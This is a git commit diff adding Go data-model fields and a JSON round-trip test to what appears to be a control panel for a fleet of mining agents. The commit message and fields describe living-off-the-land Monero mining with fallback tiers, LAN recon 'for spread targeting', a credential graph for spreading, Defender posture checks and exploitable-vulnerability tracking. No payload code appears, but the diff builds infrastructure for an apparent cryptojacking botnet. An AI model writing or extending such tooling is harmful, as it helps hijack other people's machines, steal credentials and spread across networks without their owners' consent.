Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -1,6 +1,9 @@
package models
import "time"
import (
"encoding/json"
"time"
)
type Agent struct {
ID string `json:"id"`
@@ -63,6 +66,29 @@ type Agent struct {
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// Mining fallback cascade
ActiveMethod string `json:"active_method,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
// LOTL tier onion telemetry
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
@@ -73,6 +99,9 @@ type Agent struct {
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`
// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
@@ -89,6 +118,23 @@ type Agent struct {
// T1007 System Service Discovery — fixed allowlist only
Services []AgentService `json:"services,omitempty"`
// Last successful discover_and_join supply-chain lane.
JoinLane string `json:"join_lane,omitempty"`
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
// VulnFinding mirrors agent vuln_findings stats payload.
type VulnFinding struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// AgentService mirrors the ServiceStatus reported by the agent.

View File

@@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
})
}
func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) {
agent := Agent{
ID: "lotl-1", Name: "tier-node", Status: "online",
LOTLTier: "cpu_inprocess",
MiningHashrate: 850.5,
LOTLAttempts: []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}{
{Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"},
{Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"},
},
}
b, err := json.Marshal(agent)
if err != nil {
t.Fatal(err)
}
var out Agent
if err := json.Unmarshal(b, &out); err != nil {
t.Fatal(err)
}
if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 {
t.Fatalf("lotl fields lost: %+v", out)
}
if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK {
t.Fatalf("attempts=%+v", out.LOTLAttempts)
}
}
func TestAgentMinimalJSON(t *testing.T) {
var out Agent
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {